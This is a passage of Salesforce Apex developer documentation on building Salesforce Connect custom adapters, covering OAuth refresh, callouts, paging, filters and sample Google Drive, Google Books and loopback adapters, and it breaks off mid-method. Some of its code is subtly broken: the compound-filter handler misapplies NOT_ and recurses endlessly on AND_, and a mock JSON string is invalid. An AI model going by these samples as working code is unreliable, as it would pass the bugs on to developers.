Some external systems use OAuth access tokens that expire and need to be refreshed. We can automatically refresh access tokens as
needed when:
•The user or external data source has a valid refresh token from a previous OAuth flow.
•The sync, query, or search method in your DataSource.Connection class throws a
DataSource.OAuthTokenExpiredException.
We use the relevant OAuth credentials for the user or external data source to negotiate with the remote service and refresh the token.
The DataSource.Connection class is reconstructed with the new OAuth token in the DataSource.ConnectionParams
that we supply to the constructor. The search or query is then reinvoked.
If the authentication provider doesn’t provide a refresh token, access to the external system is lost when the current access token expires.
If a warning message appears on the external data source detail page, consult your OAuth provider for information about requesting
offline access or a refresh token.
For some authentication providers, requesting offline access is as simple as adding a scope. For example, to request offline access from
a Salesforce authentication provider, add refresh_token to the Default Scopes field on the authentication provider definition
in your Salesforce organization.
For other authentication providers, you must request offline access in the authentication URL as a query parameter. For example, with
Google, append ?access_type=offline to the Authorize Endpoint URL field on the authentication provider definition
in your Salesforce organization. To edit the authorization endpoint, select Open ID Connect in the Provider Type field of the
authentication provider. For details, see “Configure an OpenID Connect Authentication Provider” in the Salesforce Help.
SEE ALSO:
Authentication for Salesforce Connect Custom Adapters
Callouts for Salesforce Connect Custom Adapters
Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system requires
authentication, incorporate the authentication parameters into the callout.
Authentication parameters are encapsulated in a ConnectionParams object and provided to your DataSource.Connection
class’s constructor.
For example, if your connection requires an OAuth access token, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
396
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization','Bearer ' +
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}
If your connection requires basic password authentication, use code similar to the following.
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
string encodedHeaderValue = EncodingUtil.base64Encode(Blob.valueOf(
this.connectioninfo.username + ':' +
this.connectionInfo.password));
request.setHeader('Authorization','Basic ' + encodedHeaderValue);
HttpResponse response = httpProtocol.send(request);
return response;
}
Named Credentials as Callout Endpoints for Salesforce Connect Custom Adapters
A Salesforce Connect custom adapter obtains the relevant credentials that are stored in Salesforce whenever they’re needed. However,
your Apex code must apply those credentials to all callouts, except those that specify named credentials as the callout endpoints. A
named credential lets Salesforce handle the authentication logic for you so that your code doesn’t have to.
If all your custom adapter’s callouts use named credentials, you can set the external data source’s Authentication Protocol
field to No Authentication. The named credentials add the appropriate certificates and can add standard authorization headers to the
callouts. You also don’t need to define a remote site for an Apex callout endpoint that’s defined as a named credential.
SEE ALSO:
Named Credentials as Callout Endpoints
Paging with the Apex Connector Framework
When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can then
page through those batches. However, custom adapters for Salesforce Connect don’t automatically support paging of any kind. To
support paging through external object data that’s obtained by a custom adapter, implement server-driven or client-driven paging.
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class. Also, your Apex code must generate a query token and use it to determine and fetch the next batch
of results.
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets. Factor in the offset and maxResults
properties in the DataSource.QueryContext to determine which rows to return. For example, suppose that the result set has
20 rows with numeric ExternalID values from 1 to 20. If we ask for an offset of 5 and maxResults of 5, we expect to get
397
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
the rows with IDs 6–10. We recommend that you do all filtering in the external system, outside of Apex, using methods that the external
system supports.
SEE ALSO:
QueryContext Class
queryMore with the Apex Connector Framework
Custom adapters for Salesforce Connect don’t automatically support the queryMore method in API queries. However, your
implementation must be able to break up large result sets into batches and iterate over them by using the queryMore method in
the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query call.
To support queryMore, your implementation must indicate whether more data exists than what’s in the current batch. When the
Force.com platform knows that more data exists, your API queries return a QueryResult object that’s similar to the following.
{
"totalSize" => -1,
"done" => false,
"nextRecordsUrl" => "/services/data/v32.0/query/01gxx000000B5OgAAK-2000",
"records" => [
[ 0] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000001AAA"
},
"ExternalId" => "id0"
},
[ 1] {
"attributes" => {
"type" => "Sample__x",
"url" =>
"/services/data/v32.0/sobjects/Sample__x/x06xx0000000002AAA"
},
…
}
IN THIS SECTION:
Support queryMore by Using Server-Driven Paging
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class.
Support queryMore by Using Client-Driven Paging
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
Support queryMore by Using Server-Driven Paging
With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified
in queries. To enable server-driven paging, declare the QUERY_PAGINATION_SERVER_DRIVEN capability in your
DataSource.Provider class.
398
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
When the returned DataSource.TableResult doesn’t contain the entire result set, the TableResult must provide a
queryMoreToken value. The query token is an arbitrary string that we store temporarily. When we request the next batch of results,
we pass the query token back to your custom adapter in the DataSource.QueryContext. Your Apex code must use that query
token to determine which rows belong to the next batch of results.
When your custom adapter returns the final batch, it must not return a queryMoreToken value in the TableResult.
SEE ALSO:
queryMore with the Apex Connector Framework
Support queryMore by Using Client-Driven Paging
With client-driven paging, you use LIMIT and OFFSET clauses to page through result sets.
If the external system can return the total size of the result set for each query, declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Make sure that each search or query returns the totalSize value in the
DataSource.TableResult. If the total size is larger than the number of rows that are returned in the batch, we generate a
nextRecordsUrl link and set the done flag to false. We also set the totalSize in the TableResult to the value that
you supply.
If the external system can’t return the total size for each query, don’t declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Whenever we do a query through your custom adapter, we ask for one extra row. For example, if
you run the query SELECT ExternalId FROM Sample LIMIT 5, we call the query method on the
DataSource.Connection object with a DataSource.QueryContext that has the maxResults property set to 6.
The presence or absence of that sixth row in the result set indicates whether more data is available. We assume, however, that the data
set we query against doesn’t change between queries. If the data set changes between queries, you might see repeated rows or not
get all results.
Ultimately, accessing external data works most efficiently when you retrieve small amounts of data and the data set that you query
against changes infrequently.
SEE ALSO:
queryMore with the Apex Connector Framework
Aggregation for Salesforce Connect Custom Adapters
If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation property.
The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
The following example illustrates how to apply the value of the aggregation property to handle COUNT() queries.
// Handle COUNT() queries
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
QueryAggregation.COUNT) {
List<Map<String,Object>> countResponse = new List<Map<String,Object>>();
Map<String,Object> countRow = new Map<String,Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
399
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
return countResponse;
}
An aggregate query can still have filters, so your query method can be implemented like the following example to support basic
aggregation queries, with or without filters.
override global DataSource.TableResult query(DataSource.QueryContext context) {
List<Map<String,Object>> rows = retrieveData(context);
List<Map<String,Object>> response = postFilterRecords(
context.tableSelection.filter, rows);
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String,Object>> countResponse = new List<Map<String,
Object>>();
Map<String,Object> countRow = new Map<String,Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context, countResponse);
}
return DataSource.TableResult.get(context, response);
}
SEE ALSO:
QueryContext Class
Create a Sample DataSource.Connection Class
Filters in the Apex Connector Framework
The DataSource.QueryContext contains one DataSource.TableSelection. The DataSource.SearchContext
can have more than one TableSelection. Each TableSelection has a filter property that represents the WHERE
clause in a SOQL or SOSL query.
For example, when a user goes to an external object’s record detail page, your DataSource.Connection is executed. Behind
the scenes, we generate a SOQL query similar to the following.
SELECT columnNames
FROM externalObjectApiName
WHERE ExternalId = 'selectedExternalObjectExternalId'
This SOQL query causes the query method on your DataSource.Connection class to be invoked. The following code can
detect this condition.
if (context.tableSelection.filter != null) {
if (context.tableSelection.filter.type == DataSource.FilterType.EQUALS
&& 'ExternalId' == context.tableSelection.filter.columnName
&& context.tableSelection.filter.columnValue instanceOf String) {
String selection = (String)context.tableSelection.filter.columnValue;
return DataSource.TableResult.get(true,null,
tableSelection.tableSelected, findSingleResult(selection));
}
}
400
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
This code example assumes that you implemented a findSingleResult method that returns a single record, given the selected
ExternalId. Make sure that your code obtains the record that matches the requested ExternalId.
IN THIS SECTION:
Evaluating Filters in the Apex Connector Framework
A filter evaluates to true for a row if that row matches the conditions that the filter describes.
Compound Filters in the Apex Connector Framework
Filters can have child filters, which are stored in the subfilters property.
Evaluating Filters in the Apex Connector Framework
A filter evaluates to true for a row if that row matches the conditions that the filter describes.
For example, suppose that a DataSource.Filter has columnName set to meaningOfLife, columnValue set to 42,
and type set to EQUALS. Any row in the remote table whose meaningOfLife column entry equals 42 is returned.
Suppose, instead, that the filter has type set to LESS_THAN, columnValue set to 3, and columnName set to numericCol.
We’d construct a DataSource.TableResult object that contains all the rows that have a numericCol value less than 3.
To improve performance, do all the filtering in the external system. You can, for example, translate the Filter object into a SQL or
OData query, or map it to parameters on a SOAP query. If the external system returns a large set of data, and you do the filtering in your
Apex code, you quickly exceed your governor limits.
If you can’t do all the filtering in the external system, do as much as possible there and return as little data as possible. Then filter the
smaller collection of data in your Apex code.
SEE ALSO:
Filter Class
Compound Filters in the Apex Connector Framework
Filters can have child filters, which are stored in the subfilters property.
If a filter has children, the filter type must be one of the following.
DescriptionFilter Type
We return all rows that match all of the subfilters.AND_
We return all rows that match any of the subfilters.OR_
The filter reverses how its child filter evaluates rows. Filters of this type can have only one subfilter.NOT_
This code example illustrates how to deal with compound filters.
override global DataSource.TableResult query(DataSource.QueryContext context) {
// Call out to an external data source and retrieve a set of records.
// We should attempt to get as much information as possible about the
// query from the QueryContext, to minimize the number of records
// that we return.
List<Map<String,Object>> rows = retrieveData(context);
401
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
// This only filters the results. Anything in the query that we don’t
// currently support, such as aggregation or sorting, is ignored.
return DataSource.TableResult.get(context, postFilterRecords(
context.tableSelection.filter, rows));
}
private List<Map<String,Object>> retrieveData(DataSource.QueryContext context) {
// Call out to an external data source. Form the callout so that
// it filters as much as possible on the remote site,
// based on the parameters in the QueryContext.
return ...;
}
private List<Map<String,Object>> postFilterRecords(
DataSource.Filter filter, List<Map<String,Object>> rows) {
if (filter == null) {
return rows;
}
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows = new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
// We expect one Filter in the subfilters.
DataSource.Filter subfilter = filter.subfilters.get(0);
for (Map<String,Object> row : rows) {
if (!evaluate(filter, row)) {
retainedRows.add(row);
}
}
return retainedRows;
}else if (type == DataSource.FilterType.AND_) {
// For each filter, find all matches; anything that matches ALL filters
// is returned.
retainedRows = rows;
for (DataSource.Filter subfilter : filter.subfilters) {
retainedRows = postFilterRecords(filter, retainedRows);
}
return retainedRows;
}else if (type == DataSource.FilterType.OR_) {
// For each filter, find all matches. Anything that matches
// at least one filter is returned.
for (DataSource.Filter subfilter : filter.subfilters) {
List<Map<String,Object>> matchedRows = postFilterRecords(
subfilter, rows);
retainedRows.addAll(matchedRows);
}
return retainedRows;
}else {
// Find all matches for this filter in our collection of records.
for (Map<String,Object> row : rows) {
if (evaluate(filter, row)) {
retainedRows.add(row);
}
}
return retainedRows;
402
Key Concepts About the Apex Connector FrameworkUsing Salesforce Features with Apex
}
}
private Boolean evaluate(DataSource.Filter filter, Map<String,Object> row) {
if (filter.type == DataSource.FilterType.EQUALS) {
String columnName = filter.columnName;
Object expectedValue = filter.columnValue;
Object foundValue = row.get(columnName);
return expectedValue.equals(foundValue);
}else {
// Throw an exception; implementing other filter types is left
// as an exercise for the reader.
throwException('Unexpected filter type: ' + filter.type);
}
return false;
}
SEE ALSO:
Filter Class
Considerations for the Apex Connector Framework
Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
•Make sure that you understand the limits of the external system’s APIs. For example, some external systems accept only requests
for up to 40 rows.
•Data type limitations:
–Double—The value loses precision beyond 18 significant digits. For higher precision, use decimals instead of doubles.
–String—If the length is greater than 255 characters, the string is mapped to a long text area field in Salesforce.
•Custom adapters for Salesforce Connect are subject to the same limitations as any other Apex code. For example:
–All Apex governor limits apply.
–Apex callouts aren’t allowed after data manipulation language (DML) operations in the same transaction. Therefore, within the
same transaction, you can't update a Salesforce record and then do an Apex callout.
–Test methods don’t support web service callouts; tests that perform web service callouts fail. For an example that shows how
to avoid these failing tests by returning mock responses, see Google Drive™ Custom Adapter for Salesforce Connect on page
404.
Apex Connector Framework Examples
These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
IN THIS SECTION:
Google Drive™ Custom Adapter for Salesforce Connect
This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive™
online storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses
for test methods.
403
Considerations for the Apex Connector FrameworkUsing Salesforce Features with Apex
Google Books™ Custom Adapter for Salesforce Connect
This example illustrates how to work around the requirements and limits of an external system’s APIs: in this case, the Google Books
API Family.
Loopback Custom Adapter for Salesforce Connect
This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the
external system.
Google Drive™ Custom Adapter for Salesforce Connect
This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive™ online
storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses for test
methods.
For this example to work reliably, request offline access when setting up OAuth so that Salesforce can obtain and maintain a refresh
token for your connections.
DriveDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
*Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
**/
global class DriveDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
/**
* Constructor for DriveDataSourceConnection.
**/
global DriveDataSourceConnection(
DataSource.ConnectionParams connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
* the administrator clicks “Validate and Sync” in the
* user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
404
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',
columns));
return tables;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext context) {
DataSource.Filter filter = context.tableSelection.filter;
String url;
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
thisColumnName.equals('ExternalId'))
url = 'https://www.googleapis.com/drive/v2/'
+'files/' + filter.columnValue;
else
url = 'https://www.googleapis.com/drive/v2/'
+'files';
}else {
url = 'https://www.googleapis.com/drive/v2/'
+'files';
}
/**
* Filters, sorts, and applies limit and offset clauses.
**/
List<Map<String,Object>> rows =
DataSource.QueryUtils.process(context, getData(url));
return DataSource.TableResult.get(true,null,
context.tableSelection.tableSelected, rows);
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
* global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
405
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
**/
override global List<DataSource.TableResult> search(
DataSource.SearchContext context) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (Integer i =0;i< context.tableSelections.size();i++) {
String entity = context.tableSelections[i].tableSelected;
String url =
'https://www.googleapis.com/drive/v2/files'+
'?q=fullText+contains+\''+context.searchPhrase+'\'';
results.add(DataSource.TableResult.get(
true,null, entity, getData(url)));
}
return results;
}
/**
* Helper method to parse the data.
* The url argument is the URL of the external system.
* Returns a list of rows from the external system.
**/
public List<Map<String,Object>> getData(String url) {
String response = getResponse(url);
List<Map<String,Object>> rows =
new List<Map<String,Object>>();
Map<String,Object> responseBodyMap = (Map<String,Object>)
JSON.deserializeUntyped(response);
/**
* Checks errors.
**/
Map<String,Object> error =
(Map<String,Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String,Object> errors =
(Map<String,Object>)errorsList[0];
String errorMessage = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(errorMessage);
}
List<Object> fileItems=(List<Object>)responseBodyMap.get('items');
if (fileItems != null) {
for (Integer i=0; i < fileItems.size(); i++) {
Map<String,Object>item =
(Map<String,Object>)fileItems[i];
rows.add(createRow(item));
}
}else {
406
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
* Helper method to populate the External ID and Display
* URL fields on external object records based on the 'id'
* value that’s sent by the external system.
*
* The Map<String, Object> item parameter maps to the data
* that represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String,Object> createRow(
Map<String,Object>item){
Map<String,Object> row = new Map<String,Object>();
for (String key : item.keySet() ) {
if (key == 'id') {
row.put('ExternalId',item.get(key));
}else if (key=='selfLink') {
row.put(key, item.get(key));
row.put('DisplayUrl',item.get(key));
}else {
row.put(key, item.get(key));
}
}
return row;
}
static String mockResponse = '{' +
' "kind": "drive#file",' +
' "id": “12345”,' +
' "selfLink": “files/12345”,' +
' "title": “Mock File”,' +
' "mimeType": “application/text”,' +
' "description": “Mock response that’s used during tests”,' +
' "createdDate": “2016-04-20”,' +
' "modifiedDate": 2016-04-20”,' +
' "version": 1,' +
'}';
/**
* Helper method to make the HTTP GET call.
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public String getResponse(String url) {
if (System.Test.isRunningTest()) {
// Avoid callouts during tests. Return mock data instead.
return mockResponse;
407
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
}else {
// Perform callouts for production (non-test) results.
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization','Bearer '+
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response.getBody();
}
}
}
DriveDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class DriveDataSourceProvider
extends DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
408
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new DriveDataSourceConnection(connectionParams);
}
}
Google Books™ Custom Adapter for Salesforce Connect
This example illustrates how to work around the requirements and limits of an external system’s APIs: in this case, the Google Books API
Family.
To integrate with the Google Books™ service, we set up Salesforce Connect as follows.
•The Google Books API allows a maximum of 40 returned results, so we develop our custom adapter to handle result sets with more
than 40 rows.
•The Google Books API can sort only by search relevance and publish dates, so we develop our custom adapter to disable sorting on
columns.
•To support OAuth, we set up our authentication settings in Salesforce so that the requested scope of permissions for access tokens
includes https://www.googleapis.com/auth/books.
•To allow Apex callouts, we define these remote sites in Salesforce:
–https://www.googleapis.com
–https://books.google.com
BooksDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
*Salesforce to sync the external system metadata
* schema and to handle queries and searches of the external
* data.
**/
global class BooksDataSourceConnection extends
DataSource.Connection {
private DataSource.ConnectionParams connectionInfo;
// Constructor for BooksDataSourceConnection.
global BooksDataSourceConnection(DataSource.ConnectionParams
connectionInfo) {
this.connectionInfo = connectionInfo;
}
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
* the administrator clicks “Validate and Sync” in the
* user interface for the external data source.
409
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(getColumn('title'));
columns.add(getColumn('description'));
columns.add(getColumn('publishedDate'));
columns.add(getColumn('publisher'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId', 255));
tables.add(DataSource.Table.get('googleBooks','title',
columns));
return tables;
}
/**
* Google Books API v1 doesn't support sorting,
* so we create a column with sortable = false.
**/
private DataSource.Column getColumn(String columnName) {
DataSource.Column column = DataSource.Column.text(columnName,
255);
column.sortable = false;
return column;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that's associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult query(
DataSource.QueryContext contexts) {
DataSource.Filter filter = contexts.tableSelection.filter;
String url;
if (contexts.tableSelection.columnsSelected.size() == 1 &&
contexts.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
return getCount(contexts);
}
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
thisColumnName.equals('ExternalId')) {
url = 'https://www.googleapis.com/books/v1/' +
410
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
'volumes?q=' + filter.columnValue +
'&maxResults=1&id=' + filter.columnValue;
return DataSource.TableResult.get(true,null,
contexts.tableSelection.tableSelected,
getData(url));
}
else {
url = 'https://www.googleapis.com/books/' +
'v1/volumes?q=' + filter.columnValue +
'&id=' + filter.columnValue +
'&maxResults=40' +'&startIndex=';
}
}else {
url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=america&' +'&maxResults=40' +
'&startIndex=';
}
/**
* Google Books API v1 supports maxResults of 40
* so we handle pagination explicitly in the else statement
* when we handle more than 40 records per query.
**/
if (contexts.maxResults < 40) {
return DataSource.TableResult.get(true,null,
contexts.tableSelection.tableSelected,
getData(url + contexts.offset));
}
else {
return fetchData(contexts, url);
}
}
/**
* Helper method to fetch results when maxResults is
* greater than 40 (the max value for maxResults supported
* by Google Books API v1).
**/
private DataSource.TableResult fetchData(
DataSource.QueryContext contexts, String url) {
Integer fetchSlot = (contexts.maxResults / 40) + 1;
List<Map<String,Object>> data =
new List<Map<String,Object>>();
Integer startIndex = contexts.offset;
for(Integer count = 0; count < fetchSlot; count++) {
data.addAll(getData(url + startIndex));
if(count == 0)
contexts.offset = 41;
else
contexts.offset += 40;
}
return DataSource.TableResult.get(true,null,
contexts.tableSelection.tableSelected, data);
}
411
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
/**
* Helper method to execute count() query.
**/
private DataSource.TableResult getCount(
DataSource.QueryContext contexts) {
String url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=america&projection=full';
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(contexts, getData(url));
List<Map<String,Object>> countResponse =
new List<Map<String,Object>>();
Map<String,Object> countRow =
new Map<String,Object>();
countRow.put(
contexts.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(contexts, countResponse);
}
/**
* Called to do a full text search and get results from
* the external system for SOSL queries and Salesforce
*global searches.
*
* The SearchContext argument represents the query to run
* against a table in the external system.
*
* Returns results for each table that the SearchContext
* requested to be searched.
**/
override global List<DataSource.TableResult> search(
DataSource.SearchContext contexts) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (Integer i =0; i< contexts.tableSelections.size();i++) {
String entity = contexts.tableSelections[i].tableSelected;
String url = 'https://www.googleapis.com/books/v1' +
'/volumes?q=' + contexts.searchPhrase;
results.add(DataSource.TableResult.get(true,null,
entity,
getData(url)));
}
return results;
}
/**
* Helper method to parse the data.
* Returns a list of rows from the external system.
**/
public List<Map<String,Object>> getData(String url) {
412
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
HttpResponse response = getResponse(url);
String body = response.getBody();
List<Map<String,Object>> rows =
new List<Map<String,Object>>();
Map<String,Object> responseBodyMap =
(Map<String,Object>)JSON.deserializeUntyped(body);
/**
* Checks errors.
**/
Map<String,Object> error =
(Map<String,Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String,Object> errors =
(Map<String,Object>)errorsList[0];
String messages = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(messages);
}
List<Object> sItems = (List<Object>)responseBodyMap.get('items');
if (sItems != null) {
for (Integer i=0; i< sItems.size(); i++) {
Map<String,Object>item =
(Map<String,Object>)sItems[i];
rows.add(createRow(item));
}
}else {
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
* Helper method to populate a row based on source data.
*
* The item argument maps to the data that
* represents a row.
*
* Returns an updated map with the External ID and
* Display URL values.
**/
public Map<String,Object> createRow(
Map<String,Object>item) {
Map<String,Object> row = new Map<String,Object>();
for (String key : item.keySet() ){
if (key == 'id') {
row.put('ExternalId',item.get(key));
}else if (key == 'volumeInfo') {
Map<String,Object> volumeInfoMap =
413
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
(Map<String,Object>)item.get(key);
row.put('title', volumeInfoMap.get('title'));
row.put('description',
volumeInfoMap.get('description'));
row.put('DisplayUrl',
volumeInfoMap.get('infoLink'));
row.put('publishedDate',
volumeInfoMap.get('publishedDate'));
row.put('publisher',
volumeInfoMap.get('publisher'));
}
}
return row;
}
/**
* Helper method to make the HTTP GET call.
* The url argument is the URL of the external system.
* Returns the response from the external system.
**/
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();
HttpRequest request = new HttpRequest();
request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization','Bearer '+
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}
}
BooksDataSourceProvider Class
/**
* Extends the DataSource.Provider base class to create a
* custom adapter for Salesforce Connect. The class informs
* Salesforce of the functional and authentication
* capabilities that are supported by or required to connect
* to an external system.
**/
global class BooksDataSourceProvider extends
DataSource.Provider {
/**
* Declares the types of authentication that can be used
* to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
414
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
* Declares the functional capabilities that the
* external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
* Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(
DataSource.ConnectionParams connectionParams) {
return new BooksDataSourceConnection(connectionParams);
}
}
Loopback Custom Adapter for Salesforce Connect
This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the external
system.
LoopbackDataSourceConnection Class
/**
* Extends the DataSource.Connection class to enable
*Salesforce to sync the external system’s schema
* and to handle queries and searches of the external data.
**/
global class LoopbackDataSourceConnection
extends DataSource.Connection {
/**
* Constructors.
**/
global LoopbackDataSourceConnection(
DataSource.ConnectionParams connectionParams) {
}
global LoopbackDataSourceConnection() {}
/**
* Called when an external object needs to get a list of
* schema from the external data source, for example when
415
Apex Connector Framework ExamplesUsing Salesforce Features with Apex
* the administrator clicks “Validate and Sync” in the
* user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('Name', 255));
columns.add(
DataSource.Column.number('NumberOfEmployees', 18, 0));
tables.add(
DataSource.Table.get('Looper','Name', columns));
return tables;
}
/**
* Called to query and get results from the external
* system for SOQL queries, list views, and detail pages
* for an external object that’s associated with the
* external data source.
*
* The QueryContext argument represents the query to run
* against a table in the external system.
*
* Returns a list of rows as the query results.
**/
override global DataSource.TableResult
query(DataSource.QueryContext context) {
